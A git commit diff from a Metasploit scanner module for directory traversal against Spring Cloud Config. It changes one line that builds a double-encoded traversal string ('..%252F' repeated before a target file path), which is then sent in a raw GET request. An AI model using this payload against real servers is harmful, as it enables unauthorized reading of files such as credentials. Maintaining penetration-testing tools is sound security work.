Update modules/auxiliary/scanner/http/springcloud_traversal.rb

Co-Authored-By: RootUp <mishra.dhiraj95@gmail.com>
2019-04-25 00:40:20 +04:00 · 2019-04-25 00:40:20 +04:00 · 49a14a588c
parent aae4e86b71
commit 49a14a588c
1 changed files with 1 additions and 1 deletions
--- a/modules/auxiliary/scanner/http/springcloud_traversal.rb
+++ b/modules/auxiliary/scanner/http/springcloud_traversal.rb
@ -41,7 +41,7 @@ class MetasploitModule < Msf::Auxiliary

  def run_host(ip)
    filename = datastore['FILEPATH']
-    traversal = "..%252F" * datastore['DEPTH'] << filename
+    traversal = "#{"..%252F" * datastore['DEPTH']}#{filename}"

    res = send_request_raw({
      'method' => 'GET',